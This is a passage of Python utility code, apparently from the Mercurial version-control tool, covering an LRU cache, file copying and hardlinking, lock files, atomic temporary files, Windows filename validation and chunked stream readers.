     def get(self, k, default=None):
         try:
             return self.__getitem__(k)
         except KeyError:
             return default
 
     def peek(self, k, default=_notset):
         """Get the specified item without moving it to the head
 
         Unlike get(), this doesn't mutate the internal state. But be aware
         that it doesn't mean peek() is thread safe.
         """
         try:
             node = self._cache[k]
             return node.value
         except KeyError:
             if default is _notset:
                 raise
             return default
 
     def clear(self):
         n = self._head
         while n.key is not _notset:
             self.totalcost -= n.cost
             n.markempty()
             n = n.next
 
         self._cache.clear()
 
     def copy(self, capacity=None, maxcost=0):
         """Create a new cache as a copy of the current one.
 
         By default, the new cache has the same capacity as the existing one.
         But, the cache capacity can be changed as part of performing the
         copy.
 
         Items in the copy have an insertion/access order matching this
         instance.
         """
 
         capacity = capacity or self.capacity
         maxcost = maxcost or self.maxcost
         result = lrucachedict(capacity, maxcost=maxcost)
 
         # We copy entries by iterating in oldest-to-newest order so the copy
         # has the correct ordering.
 
         # Find the first non-empty entry.
         n = self._head.prev
         while n.key is _notset and n is not self._head:
             n = n.prev
 
         # We could potentially skip the first N items when decreasing capacity.
         # But let's keep it simple unless it is a performance problem.
         for i in range(len(self._cache)):
             result.insert(n.key, n.value, cost=n.cost)
             n = n.prev
 
         return result
 
     def popoldest(self):
         """Remove the oldest item from the cache.
 
         Returns the (key, value) describing the removed cache entry.
         """
         if not self._cache:
             return
 
         # Walk the linked list backwards starting at tail node until we hit
         # a non-empty node.
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         key, value = n.key, n.value
 
         # And remove it from the cache and mark it as empty.
         del self._cache[n.key]
         self.totalcost -= n.cost
         n.markempty()
 
         return key, value
 
     def _movetohead(self, node):
         """Mark a node as the newest, making it the new head.
 
         When a node is accessed, it becomes the freshest entry in the LRU
         list, which is denoted by self._head.
 
         Visually, let's make ``N`` the new head node (* denotes head):
 
             previous/oldest <-> head <-> next/next newest
 
             ----<->--- A* ---<->-----
             |                       |
             E <-> D <-> N <-> C <-> B
 
         To:
 
             ----<->--- N* ---<->-----
             |                       |
             E <-> D <-> C <-> B <-> A
 
         This requires the following moves:
 
            C.next = D  (node.prev.next = node.next)
            D.prev = C  (node.next.prev = node.prev)
            E.next = N  (head.prev.next = node)
            N.prev = E  (node.prev = head.prev)
            N.next = A  (node.next = head)
            A.prev = N  (head.prev = node)
         """
         head = self._head
         # C.next = D
         node.prev.next = node.next
         # D.prev = C
         node.next.prev = node.prev
         # N.prev = E
         node.prev = head.prev
         # N.next = A
         # It is tempting to do just "head" here, however if node is
         # adjacent to head, this will do bad things.
         node.next = head.prev.next
         # E.next = N
         node.next.prev = node
         # A.prev = N
         node.prev.next = node
 
         self._head = node
 
     def _addcapacity(self):
         """Add a node to the circular linked list.
 
         The new node is inserted before the head node.
         """
         head = self._head
         node = _lrucachenode()
         head.prev.next = node
         node.prev = head.prev
         node.next = head
         head.prev = node
         self._size += 1
         return node
 
     def _enforcecostlimit(self):
         # This should run after an insertion. It should only be called if total
         # cost limits are being enforced.
         # The most recently inserted node is never evicted.
         if len(self) <= 1 or self.totalcost <= self.maxcost:
             return
 
         # This is logically equivalent to calling popoldest() until we
         # free up enough cost. We don't do that since popoldest() needs
         # to walk the linked list and doing this in a loop would be
         # quadratic. So we find the first non-empty node and then
         # walk nodes until we free up enough capacity.
         #
         # If we only removed the minimum number of nodes to free enough
         # cost at insert time, chances are high that the next insert would
         # also require pruning. This would effectively constitute quadratic
         # behavior for insert-heavy workloads. To mitigate this, we set a
         # target cost that is a percentage of the max cost. This will tend
         # to free more nodes when the high water mark is reached, which
         # lowers the chances of needing to prune on the subsequent insert.
         targetcost = int(self.maxcost * 0.75)
 
         n = self._head.prev
         while n.key is _notset:
             n = n.prev
 
         while len(self) > 1 and self.totalcost > targetcost:
             del self._cache[n.key]
             self.totalcost -= n.cost
             n.markempty()
             n = n.prev
 
 
 def lrucachefunc(func):
     '''cache most recent results of function calls'''
     cache = {}
     order = collections.deque()
     if func.__code__.co_argcount == 1:
 
         def f(arg):
             if arg not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[arg] = func(arg)
             else:
                 order.remove(arg)
             order.append(arg)
             return cache[arg]
 
     else:
 
         def f(*args):
             if args not in cache:
                 if len(cache) > 20:
                     del cache[order.popleft()]
                 cache[args] = func(*args)
             else:
                 order.remove(args)
             order.append(args)
             return cache[args]
 
     return f
 
 
 class propertycache(object):
     def __init__(self, func):
         self.func = func
         self.name = func.__name__
 
     def __get__(self, obj, type=None):
         result = self.func(obj)
         self.cachevalue(obj, result)
         return result
 
     def cachevalue(self, obj, value):
         # __dict__ assignment required to bypass __setattr__ (eg: repoview)
         obj.__dict__[self.name] = value
 
 
 def clearcachedproperty(obj, prop):
     '''clear a cached property value, if one has been set'''
     prop = pycompat.sysstr(prop)
     if prop in obj.__dict__:
         del obj.__dict__[prop]
 
 
 def increasingchunks(source, min=1024, max=65536):
     '''return no less than min bytes per chunk while data remains,
     doubling min after each chunk until it reaches max'''
 
     def log2(x):
         if not x:
             return 0
         i = 0
         while x:
             x >>= 1
             i += 1
         return i - 1
 
     buf = []
     blen = 0
     for chunk in source:
         buf.append(chunk)
         blen += len(chunk)
         if blen >= min:
             if min < max:
                 min = min << 1
                 nmin = 1 << log2(blen)
                 if nmin > min:
                     min = nmin
                 if min > max:
                     min = max
             yield b''.join(buf)
             blen = 0
             buf = []
     if buf:
         yield b''.join(buf)
 
 
 def always(fn):
     return True
 
 
 def never(fn):
     return False
 
 
 def nogc(func):
     """disable garbage collector
 
     Python's garbage collector triggers a GC each time a certain number of
     container objects (the number being defined by gc.get_threshold()) are
     allocated even when marked not to be tracked by the collector. Tracking has
     no effect on when GCs are triggered, only on what objects the GC looks
     into. As a workaround, disable GC while building complex (huge)
     containers.
 
     This garbage collector issue have been fixed in 2.7. But it still affect
     CPython's performance.
     """
 
     def wrapper(*args, **kwargs):
         gcenabled = gc.isenabled()
         gc.disable()
         try:
             return func(*args, **kwargs)
         finally:
             if gcenabled:
                 gc.enable()
 
     return wrapper
 
 
 if pycompat.ispypy:
     # PyPy runs slower with gc disabled
     nogc = lambda x: x
 
 
 def pathto(root, n1, n2):
     '''return the relative path from one place to another.
     root should use os.sep to separate directories
     n1 should use os.sep to separate directories
     n2 should use "/" to separate directories
     returns an os.sep-separated path.
 
     If n1 is a relative path, it's assumed it's
     relative to root.
     n2 should always be relative to root.
     '''
     if not n1:
         return localpath(n2)
     if os.path.isabs(n1):
         if os.path.splitdrive(root)[0] != os.path.splitdrive(n1)[0]:
             return os.path.join(root, localpath(n2))
         n2 = b'/'.join((pconvert(root), n2))
     a, b = splitpath(n1), n2.split(b'/')
     a.reverse()
     b.reverse()
     while a and b and a[-1] == b[-1]:
         a.pop()
         b.pop()
     b.reverse()
     return pycompat.ossep.join(([b'..'] * len(a)) + b) or b'.'
 
 
 # the location of data files matching the source code
 if procutil.mainfrozen() and getattr(sys, 'frozen', None) != b'macosx_app':
     # executable version (py2exe) doesn't support __file__
     datapath = os.path.dirname(pycompat.sysexecutable)
 else:
     datapath = os.path.dirname(pycompat.fsencode(__file__))
 
 i18n.setdatapath(datapath)
 
 
 def checksignature(func):
     '''wrap a function with code to check for calling errors'''
 
     def check(*args, **kwargs):
         try:
             return func(*args, **kwargs)
         except TypeError:
             if len(traceback.extract_tb(sys.exc_info()[2])) == 1:
                 raise error.SignatureError
             raise
 
     return check
 
 
 # a whilelist of known filesystems where hardlink works reliably
 _hardlinkfswhitelist = {
     b'apfs',
     b'btrfs',
     b'ext2',
     b'ext3',
     b'ext4',
     b'hfs',
     b'jfs',
     b'NTFS',
     b'reiserfs',
     b'tmpfs',
     b'ufs',
     b'xfs',
     b'zfs',
 }
 
 
 def copyfile(src, dest, hardlink=False, copystat=False, checkambig=False):
     '''copy a file, preserving mode and optionally other stat info like
     atime/mtime
 
     checkambig argument is used with filestat, and is useful only if
     destination file is guarded by any lock (e.g. repo.lock or
     repo.wlock).
 
     copystat and checkambig should be exclusive.
     '''
     assert not (copystat and checkambig)
     oldstat = None
     if os.path.lexists(dest):
         if checkambig:
             oldstat = checkambig and filestat.frompath(dest)
         unlink(dest)
     if hardlink:
         # Hardlinks are problematic on CIFS (issue4546), do not allow hardlinks
         # unless we are confident that dest is on a whitelisted filesystem.
         try:
             fstype = getfstype(os.path.dirname(dest))
         except OSError:
             fstype = None
         if fstype not in _hardlinkfswhitelist:
             hardlink = False
     if hardlink:
         try:
             oslink(src, dest)
             return
         except (IOError, OSError):
             pass  # fall back to normal copy
     if os.path.islink(src):
         os.symlink(os.readlink(src), dest)
         # copytime is ignored for symlinks, but in general copytime isn't needed
         # for them anyway
     else:
         try:
             shutil.copyfile(src, dest)
             if copystat:
                 # copystat also copies mode
                 shutil.copystat(src, dest)
             else:
                 shutil.copymode(src, dest)
                 if oldstat and oldstat.stat:
                     newstat = filestat.frompath(dest)
                     if newstat.isambig(oldstat):
                         # stat of copied file is ambiguous to original one
                         advanced = (
                             oldstat.stat[stat.ST_MTIME] + 1
                         ) & 0x7FFFFFFF
                         os.utime(dest, (advanced, advanced))
         except shutil.Error as inst:
             raise error.Abort(str(inst))
 
 
 def copyfiles(src, dst, hardlink=None, progress=None):
     """Copy a directory tree using hardlinks if possible."""
     num = 0
 
     def settopic():
         if progress:
             progress.topic = _(b'linking') if hardlink else _(b'copying')
 
     if os.path.isdir(src):
         if hardlink is None:
             hardlink = (
                 os.stat(src).st_dev == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
         os.mkdir(dst)
         for name, kind in listdir(src):
             srcname = os.path.join(src, name)
             dstname = os.path.join(dst, name)
             hardlink, n = copyfiles(srcname, dstname, hardlink, progress)
             num += n
     else:
         if hardlink is None:
             hardlink = (
                 os.stat(os.path.dirname(src)).st_dev
                 == os.stat(os.path.dirname(dst)).st_dev
             )
         settopic()
 
         if hardlink:
             try:
                 oslink(src, dst)
             except (IOError, OSError):
                 hardlink = False
                 shutil.copy(src, dst)
         else:
             shutil.copy(src, dst)
         num += 1
         if progress:
             progress.increment()
 
     return hardlink, num
 
 
 _winreservednames = {
     b'con',
     b'prn',
     b'aux',
     b'nul',
     b'com1',
     b'com2',
     b'com3',
     b'com4',
     b'com5',
     b'com6',
     b'com7',
     b'com8',
     b'com9',
     b'lpt1',
     b'lpt2',
     b'lpt3',
     b'lpt4',
     b'lpt5',
     b'lpt6',
     b'lpt7',
     b'lpt8',
     b'lpt9',
 }
 _winreservedchars = b':*?"<>|'
 
 
 def checkwinfilename(path):
     r'''Check that the base-relative path is a valid filename on Windows.
     Returns None if the path is ok, or a UI string describing the problem.
 
     >>> checkwinfilename(b"just/a/normal/path")
     >>> checkwinfilename(b"foo/bar/con.xml")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/con.xml/bar")
     "filename contains 'con', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/xml.con")
     >>> checkwinfilename(b"foo/bar/AUX/bla.txt")
     "filename contains 'AUX', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/bla:.txt")
     "filename contains ':', which is reserved on Windows"
     >>> checkwinfilename(b"foo/bar/b\07la.txt")
     "filename contains '\\x07', which is invalid on Windows"
     >>> checkwinfilename(b"foo/bar/bla ")
     "filename ends with ' ', which is not allowed on Windows"
     >>> checkwinfilename(b"../bar")
     >>> checkwinfilename(b"foo\\")
     "filename ends with '\\', which is invalid on Windows"
     >>> checkwinfilename(b"foo\\/bar")
     "directory name ends with '\\', which is invalid on Windows"
     '''
     if path.endswith(b'\\'):
         return _(b"filename ends with '\\', which is invalid on Windows")
     if b'\\/' in path:
         return _(b"directory name ends with '\\', which is invalid on Windows")
     for n in path.replace(b'\\', b'/').split(b'/'):
         if not n:
             continue
         for c in _filenamebytestr(n):
             if c in _winreservedchars:
                 return (
                     _(
                         b"filename contains '%s', which is reserved "
                         b"on Windows"
                     )
                     % c
                 )
             if ord(c) <= 31:
                 return _(
                     b"filename contains '%s', which is invalid on Windows"
                 ) % stringutil.escapestr(c)
         base = n.split(b'.')[0]
         if base and base.lower() in _winreservednames:
             return (
                 _(b"filename contains '%s', which is reserved on Windows")
                 % base
             )
         t = n[-1:]
         if t in b'. ' and n not in b'..':
             return (
                 _(
                     b"filename ends with '%s', which is not allowed "
                     b"on Windows"
                 )
                 % t
             )
 
 
 if pycompat.iswindows:
     checkosfilename = checkwinfilename
     timer = time.clock
 else:
     checkosfilename = platform.checkosfilename
     timer = time.time
 
 if safehasattr(time, "perf_counter"):
     timer = time.perf_counter
 
 
 def makelock(info, pathname):
     """Create a lock file atomically if possible
 
     This may leave a stale lock file if symlink isn't supported and signal
     interrupt is enabled.
     """
     try:
         return os.symlink(info, pathname)
     except OSError as why:
         if why.errno == errno.EEXIST:
             raise
     except AttributeError:  # no symlink in os
         pass
 
     flags = os.O_CREAT | os.O_WRONLY | os.O_EXCL | getattr(os, 'O_BINARY', 0)
     ld = os.open(pathname, flags)
     os.write(ld, info)
     os.close(ld)
 
 
 def readlock(pathname):
     try:
         return readlink(pathname)
     except OSError as why:
         if why.errno not in (errno.EINVAL, errno.ENOSYS):
             raise
     except AttributeError:  # no symlink in os
         pass
     with posixfile(pathname, b'rb') as fp:
         return fp.read()
 
 
 def fstat(fp):
     '''stat file object that may not have fileno method.'''
     try:
         return os.fstat(fp.fileno())
     except AttributeError:
         return os.stat(fp.name)
 
 
 # File system features
 
 
 def fscasesensitive(path):
     """
     Return true if the given path is on a case-sensitive filesystem
 
     Requires a path (like /foo/.hg) ending with a foldable final
     directory component.
     """
     s1 = os.lstat(path)
     d, b = os.path.split(path)
     b2 = b.upper()
     if b == b2:
         b2 = b.lower()
         if b == b2:
             return True  # no evidence against case sensitivity
     p2 = os.path.join(d, b2)
     try:
         s2 = os.lstat(p2)
         if s2 == s1:
             return False
         return True
     except OSError:
         return True
 
 
 try:
     import re2
 
     _re2 = None
 except ImportError:
     _re2 = False
 
 
 class _re(object):
     def _checkre2(self):
         global _re2
         try:
             # check if match works, see issue3964
             _re2 = bool(re2.match(r'\[([^\[]+)\]', b'[ui]'))
         except ImportError:
             _re2 = False
 
     def compile(self, pat, flags=0):
         '''Compile a regular expression, using re2 if possible
 
         For best performance, use only re2-compatible regexp features. The
         only flags from the re module that are re2-compatible are
         IGNORECASE and MULTILINE.'''
         if _re2 is None:
             self._checkre2()
         if _re2 and (flags & ~(remod.IGNORECASE | remod.MULTILINE)) == 0:
             if flags & remod.IGNORECASE:
                 pat = b'(?i)' + pat
             if flags & remod.MULTILINE:
                 pat = b'(?m)' + pat
             try:
                 return re2.compile(pat)
             except re2.error:
                 pass
         return remod.compile(pat, flags)
 
     @propertycache
     def escape(self):
         '''Return the version of escape corresponding to self.compile.
 
         This is imperfect because whether re2 or re is used for a particular
         function depends on the flags, etc, but it's the best we can do.
         '''
         global _re2
         if _re2 is None:
             self._checkre2()
         if _re2:
             return re2.escape
         else:
             return remod.escape
 
 
 re = _re()
 
 _fspathcache = {}
 
 
 def fspath(name, root):
     '''Get name in the case stored in the filesystem
 
     The name should be relative to root, and be normcase-ed for efficiency.
 
     Note that this function is unnecessary, and should not be
     called, for case-sensitive filesystems (simply because it's expensive).
 
     The root should be normcase-ed, too.
     '''
 
     def _makefspathcacheentry(dir):
         return dict((normcase(n), n) for n in os.listdir(dir))
 
     seps = pycompat.ossep
     if pycompat.osaltsep:
         seps = seps + pycompat.osaltsep
     # Protect backslashes. This gets silly very quickly.
     seps.replace(b'\\', b'\\\\')
     pattern = remod.compile(br'([^%s]+)|([%s]+)' % (seps, seps))
     dir = os.path.normpath(root)
     result = []
     for part, sep in pattern.findall(name):
         if sep:
             result.append(sep)
             continue
 
         if dir not in _fspathcache:
             _fspathcache[dir] = _makefspathcacheentry(dir)
         contents = _fspathcache[dir]
 
         found = contents.get(part)
         if not found:
             # retry "once per directory" per "dirstate.walk" which
             # may take place for each patches of "hg qpush", for example
             _fspathcache[dir] = contents = _makefspathcacheentry(dir)
             found = contents.get(part)
 
         result.append(found or part)
         dir = os.path.join(dir, part)
 
     return b''.join(result)
 
 
 def checknlink(testfile):
     '''check whether hardlink count reporting works properly'''
 
     # testfile may be open, so we need a separate file for checking to
     # work around issue2543 (or testfile may get lost on Samba shares)
     f1, f2, fp = None, None, None
     try:
         fd, f1 = pycompat.mkstemp(
             prefix=b'.%s-' % os.path.basename(testfile),
             suffix=b'1~',
             dir=os.path.dirname(testfile),
         )
         os.close(fd)
         f2 = b'%s2~' % f1[:-2]
 
         oslink(f1, f2)
         # nlinks() may behave differently for files on Windows shares if
         # the file is open.
         fp = posixfile(f2)
         return nlinks(f2) > 1
     except OSError:
         return False
     finally:
         if fp is not None:
             fp.close()
         for f in (f1, f2):
             try:
                 if f is not None:
                     os.unlink(f)
             except OSError:
                 pass
 
 
 def endswithsep(path):
     '''Check path ends with os.sep or os.altsep.'''
     return (
         path.endswith(pycompat.ossep)
         or pycompat.osaltsep
         and path.endswith(pycompat.osaltsep)
     )
 
 
 def splitpath(path):
     '''Split path by os.sep.
     Note that this function does not use os.altsep because this is
     an alternative of simple "xxx.split(os.sep)".
     It is recommended to use os.path.normpath() before using this
     function if need.'''
     return path.split(pycompat.ossep)
 
 
 def mktempcopy(name, emptyok=False, createmode=None, enforcewritable=False):
     """Create a temporary file with the same contents from name
 
     The permission bits are copied from the original file.
 
     If the temporary file is going to be truncated immediately, you
     can use emptyok=True as an optimization.
 
     Returns the name of the temporary file.
     """
     d, fn = os.path.split(name)
     fd, temp = pycompat.mkstemp(prefix=b'.%s-' % fn, suffix=b'~', dir=d)
     os.close(fd)
     # Temporary files are created with mode 0600, which is usually not
     # what we want.  If the original file already exists, just copy
     # its mode.  Otherwise, manually obey umask.
     copymode(name, temp, createmode, enforcewritable)
 
     if emptyok:
         return temp
     try:
         try:
             ifp = posixfile(name, b"rb")
         except IOError as inst:
             if inst.errno == errno.ENOENT:
                 return temp
             if not getattr(inst, 'filename', None):
                 inst.filename = name
             raise
         ofp = posixfile(temp, b"wb")
         for chunk in filechunkiter(ifp):
             ofp.write(chunk)
         ifp.close()
         ofp.close()
     except:  # re-raises
         try:
             os.unlink(temp)
         except OSError:
             pass
         raise
     return temp
 
 
 class filestat(object):
     """help to exactly detect change of a file
 
     'stat' attribute is result of 'os.stat()' if specified 'path'
     exists. Otherwise, it is None. This can avoid preparative
     'exists()' examination on client side of this class.
     """
 
     def __init__(self, stat):
         self.stat = stat
 
     @classmethod
     def frompath(cls, path):
         try:
             stat = os.stat(path)
         except OSError as err:
             if err.errno != errno.ENOENT:
                 raise
             stat = None
         return cls(stat)
 
     @classmethod
     def fromfp(cls, fp):
         stat = os.fstat(fp.fileno())
         return cls(stat)
 
     __hash__ = object.__hash__
 
     def __eq__(self, old):
         try:
             # if ambiguity between stat of new and old file is
             # avoided, comparison of size, ctime and mtime is enough
             # to exactly detect change of a file regardless of platform
             return (
                 self.stat.st_size == old.stat.st_size
                 and self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
                 and self.stat[stat.ST_MTIME] == old.stat[stat.ST_MTIME]
             )
         except AttributeError:
             pass
         try:
             return self.stat is None and old.stat is None
         except AttributeError:
             return False
 
     def isambig(self, old):
         """Examine whether new (= self) stat is ambiguous against old one
 
         "S[N]" below means stat of a file at N-th change:
 
         - S[n-1].ctime  < S[n].ctime: can detect change of a file
         - S[n-1].ctime == S[n].ctime
           - S[n-1].ctime  < S[n].mtime: means natural advancing (*1)
           - S[n-1].ctime == S[n].mtime: is ambiguous (*2)
           - S[n-1].ctime  > S[n].mtime: never occurs naturally (don't care)
         - S[n-1].ctime  > S[n].ctime: never occurs naturally (don't care)
 
         Case (*2) above means that a file was changed twice or more at
         same time in sec (= S[n-1].ctime), and comparison of timestamp
         is ambiguous.
 
         Base idea to avoid such ambiguity is "advance mtime 1 sec, if
         timestamp is ambiguous".
 
         But advancing mtime only in case (*2) doesn't work as
         expected, because naturally advanced S[n].mtime in case (*1)
         might be equal to manually advanced S[n-1 or earlier].mtime.
 
         Therefore, all "S[n-1].ctime == S[n].ctime" cases should be
         treated as ambiguous regardless of mtime, to avoid overlooking
         by confliction between such mtime.
 
         Advancing mtime "if isambig(oldstat)" ensures "S[n-1].mtime !=
         S[n].mtime", even if size of a file isn't changed.
         """
         try:
             return self.stat[stat.ST_CTIME] == old.stat[stat.ST_CTIME]
         except AttributeError:
             return False
 
     def avoidambig(self, path, old):
         """Change file stat of specified path to avoid ambiguity
 
         'old' should be previous filestat of 'path'.
 
         This skips avoiding ambiguity, if a process doesn't have
         appropriate privileges for 'path'. This returns False in this
         case.
 
         Otherwise, this returns True, as "ambiguity is avoided".
         """
         advanced = (old.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
         try:
             os.utime(path, (advanced, advanced))
         except OSError as inst:
             if inst.errno == errno.EPERM:
                 # utime() on the file created by another user causes EPERM,
                 # if a process doesn't have appropriate privileges
                 return False
             raise
         return True
 
     def __ne__(self, other):
         return not self == other
 
 
 class atomictempfile(object):
     '''writable file object that atomically updates a file
 
     All writes will go to a temporary copy of the original file. Call
     close() when you are done writing, and atomictempfile will rename
     the temporary copy to the original name, making the changes
     visible. If the object is destroyed without being closed, all your
     writes are discarded.
 
     checkambig argument of constructor is used with filestat, and is
     useful only if target file is guarded by any lock (e.g. repo.lock
     or repo.wlock).
     '''
 
     def __init__(self, name, mode=b'w+b', createmode=None, checkambig=False):
         self.__name = name  # permanent name
         self._tempname = mktempcopy(
             name,
             emptyok=(b'w' in mode),
             createmode=createmode,
             enforcewritable=(b'w' in mode),
         )
 
         self._fp = posixfile(self._tempname, mode)
         self._checkambig = checkambig
 
         # delegated methods
         self.read = self._fp.read
         self.write = self._fp.write
         self.seek = self._fp.seek
         self.tell = self._fp.tell
         self.fileno = self._fp.fileno
 
     def close(self):
         if not self._fp.closed:
             self._fp.close()
             filename = localpath(self.__name)
             oldstat = self._checkambig and filestat.frompath(filename)
             if oldstat and oldstat.stat:
                 rename(self._tempname, filename)
                 newstat = filestat.frompath(filename)
                 if newstat.isambig(oldstat):
                     # stat of changed file is ambiguous to original one
                     advanced = (oldstat.stat[stat.ST_MTIME] + 1) & 0x7FFFFFFF
                     os.utime(filename, (advanced, advanced))
             else:
                 rename(self._tempname, filename)
 
     def discard(self):
         if not self._fp.closed:
             try:
                 os.unlink(self._tempname)
             except OSError:
                 pass
             self._fp.close()
 
     def __del__(self):
         if safehasattr(self, '_fp'):  # constructor actually did something
             self.discard()
 
     def __enter__(self):
         return self
 
     def __exit__(self, exctype, excvalue, traceback):
         if exctype is not None:
             self.discard()
         else:
             self.close()
 
 
 def unlinkpath(f, ignoremissing=False, rmdir=True):
     """unlink and remove the directory if it is empty"""
     if ignoremissing:
         tryunlink(f)
     else:
         unlink(f)
     if rmdir:
         # try removing directories that might now be empty
         try:
             removedirs(os.path.dirname(f))
         except OSError:
             pass
 
 
 def tryunlink(f):
     """Attempt to remove a file, ignoring ENOENT errors."""
     try:
         unlink(f)
     except OSError as e:
         if e.errno != errno.ENOENT:
             raise
 
 
 def makedirs(name, mode=None, notindexed=False):
     """recursive directory creation with parent mode inheritance
 
     Newly created directories are marked as "not to be indexed by
     the content indexing service", if ``notindexed`` is specified
     for "write" mode access.
     """
     try:
         makedir(name, notindexed)
     except OSError as err:
         if err.errno == errno.EEXIST:
             return
         if err.errno != errno.ENOENT or not name:
             raise
         parent = os.path.dirname(os.path.abspath(name))
         if parent == name:
             raise
         makedirs(parent, mode, notindexed)
         try:
             makedir(name, notindexed)
         except OSError as err:
             # Catch EEXIST to handle races
             if err.errno == errno.EEXIST:
                 return
             raise
     if mode is not None:
         os.chmod(name, mode)
 
 
 def readfile(path):
     with open(path, b'rb') as fp:
         return fp.read()
 
 
 def writefile(path, text):
     with open(path, b'wb') as fp:
         fp.write(text)
 
 
 def appendfile(path, text):
     with open(path, b'ab') as fp:
         fp.write(text)
 
 
 class chunkbuffer(object):
     """Allow arbitrary sized chunks of data to be efficiently read from an
     iterator over chunks of arbitrary size."""
 
     def __init__(self, in_iter):
         """in_iter is the iterator that's iterating over the input chunks."""
 
         def splitbig(chunks):
             for chunk in chunks:
                 if len(chunk) > 2 ** 20:
                     pos = 0
                     while pos < len(chunk):
                         end = pos + 2 ** 18
                         yield chunk[pos:end]
                         pos = end
                 else:
                     yield chunk
 
         self.iter = splitbig(in_iter)
         self._queue = collections.deque()
         self._chunkoffset = 0
 
     def read(self, l=None):
         """Read L bytes of data from the iterator of chunks of data.
         Returns less than L bytes if the iterator runs dry.
 
         If size parameter is omitted, read everything"""
         if l is None:
             return b''.join(self.iter)
 
         left = l
         buf = []
         queue = self._queue
         while left > 0:
             # refill the queue
             if not queue:
                 target = 2 ** 18
                 for chunk in self.iter:
                     queue.append(chunk)
                     target -= len(chunk)
                     if target <= 0:
                         break
                 if not queue:
                     break
 
             # The easy way to do this would be to queue.popleft(), modify the
             # chunk (if necessary), then queue.appendleft(). However, for cases
             # where we read partial chunk content, this incurs 2 dequeue
             # mutations and creates a new str for the remaining chunk in the
             # queue. Our code below avoids this overhead.
 
             chunk = queue[0]
             chunkl = len(chunk)
             offset = self._chunkoffset
 
             # Use full chunk.
             if offset == 0 and left >= chunkl:
                 left -= chunkl
                 queue.popleft()
                 buf.append(chunk)
                 # self._chunkoffset remains at 0.
                 continue
 
             chunkremaining = chunkl - offset
 
             # Use all of unconsumed part of chunk.
             if left >= chunkremaining:
                 left -= chunkremaining
                 queue.popleft()
                 # offset == 0 is enabled by block above, so this won't merely
                 # copy via ``chunk[0:]``.
                 buf.append(chunk[offset:])
                 self._chunkoffset = 0
 
             # Partial chunk needed.
             else:
                 buf.append(chunk[offset : offset + left])
                 self._chunkoffset += left
                 left -= chunkremaining
 
         return b''.join(buf)
 
 
 def filechunkiter(f, size=131072, limit=None):
     """Create a generator that produces the data in the file size
     (default 131072) bytes at a time, up to optional limit (default is
     to read all data).  Chunks may be less than size bytes if the
     chunk is the last chunk in the file, or the file is a socket or
     some other type of file that sometimes reads less data than is
     requested."""
     assert size >= 0
     assert limit is None or limit >= 0
     while True:
         if limit is None:
             nbytes = size
         else:
             nbytes = min(limit, size)
         s = nbytes and f.read(nbytes)
         if not s:
             break
         if limit:
             limit -= len(s)
         yield s
 
 
 class cappedreader(object):
     """A file object proxy that allows reading up to N bytes.
 
     Given a source file object, instances of this type allow reading up to
     N bytes from that source file object. Attempts to read past the allowed
     limit are treated as EOF.
 
     It is assumed that I/O is not performed on the original file object
     in addition to I/O that is performed by this instance. If there is,
     state tracking will get out of sync and unexpected results will ensue.
     """
 
     def __init__(self, fh, limit):
         """Allow reading up to <limit> bytes from <fh>."""
         self._fh = fh
         self._left = limit
 
     def read(self, n=-1):
         if not self._left:
             return b''
 
         if n < 0:
             n = self._left
 
         data = self._fh.read(min(n, self._left))
         self._left -= len(data)
         assert self._left >= 0
 
         return data
 
     def readinto(self, b):
         res = self.read(len(b))
         if res is None:
             return None
 
         b[0 : len(res)] = res
         return len(res)
 
 
 def unitcountfn(*unittable):
     '''return a function that renders a readable count of some quantity'''
 
     def go(count):
         for multiplier, divisor, format in unittable:
             if abs(count) >= divisor * multiplier:
                 return format % (count / float(divisor))
         return unittable[-1][2] % count
 
     return go
 
 
 def processlinerange(fromline, toline):
     """Check that linerange <fromline>:<toline> makes sense and return a
     0-based range.
 
     >>> processlinerange(10, 20)
     (9, 20)
     >>> processlinerange(2, 1)
     Traceback (most recent call last):
         ...
     ParseError: line range must be positive
     >>> processlinerange(0, 5)
     Traceback (most recent call last):
         ...
     ParseError: fromline must be strictly positive
     """
     if toline - fromline < 0:
         raise error.ParseError(_(b"line range must be positive"))
     if fromline < 1:
         raise error.ParseError(_(b"fromline must be strictly positive"))
     return fromline - 1, toline
 
 
 bytecount = unitcountfn(
     (100, 1 << 30, _(b'%.0f GB')),
     (10, 1 << 30, _(b'%.1f GB')),
     (1, 1 << 30, _(b'%.2f GB')),
     (100, 1 << 20, _(b'%.0f MB')),
     (10, 1 << 20, _(b'%.1f MB')),
     (1, 1 << 20, _(b'%.2f MB')),
     (100, 1 << 10, _(b'%.0f KB')),
     (10, 1 << 10, _(b'%.1f KB')),
     (1, 1 << 10, _(b'%.2f KB')),
     (1, 1, _(b'%.0f bytes')),
 )
 
 
 class transformingwriter(object):
     """Writable file wrapper to transform data by function"""
 
     def __init__(self, fp, encode):
         self._fp = fp
         self._encode = encode
 
     def close(self):
         self._fp.close()
 
     def flush(self):
         self._fp.flush()
 
     def write(self, data):
         return self._fp.write(self._encode(data))
 
 
 # Matches a single EOL which can either be a CRLF where repeated CR
 # are removed or a LF. We do not care about old Macintosh files, so a
 # stray CR is an error.
 _eolre = remod.compile(br'\r*\n')
 
 
 def tolf(s):
     return _eolre.sub(b'\n', s)
 
 
 def tocrlf(s):
     return _eolre.sub(b'\r\n', s)
 
 
 def _crlfwriter(fp):
     return transformingwriter(fp, tocrlf)
 
 
 if pycompat.oslinesep == b'\r\n':
     tonativeeol = tocrlf
     fromnativeeol = tolf
     nativeeolwriter = _crlfwriter
 else:
     tonativeeol = pycompat.identity
     fromnativeeol = pycompat.identity
     nativeeolwriter = pycompat.identity
 
 if pyplatform.python_implementation() == b'CPython' and sys.version_info < (
     3,
     0,
 ):
     # There is an issue in CPython that some IO methods do not handle EINTR
     # correctly. The following table shows what CPython version (and functions)
     # are affected (buggy: has the EINTR bug, okay: otherwise):
     #
     #                | < 2.7.4 | 2.7.4 to 2.7.12 | >= 3.0
     #   --------------------------------------------------
     #    fp.__iter__ | buggy   | buggy           | okay
     #    fp.read*    | buggy   | okay [1]        | okay
     #
     # [1]: fixed by changeset 67dc99a989cd in the cpython hg repo.
     #
     # Here we workaround the EINTR issue for fileobj.__iter__. Other methods
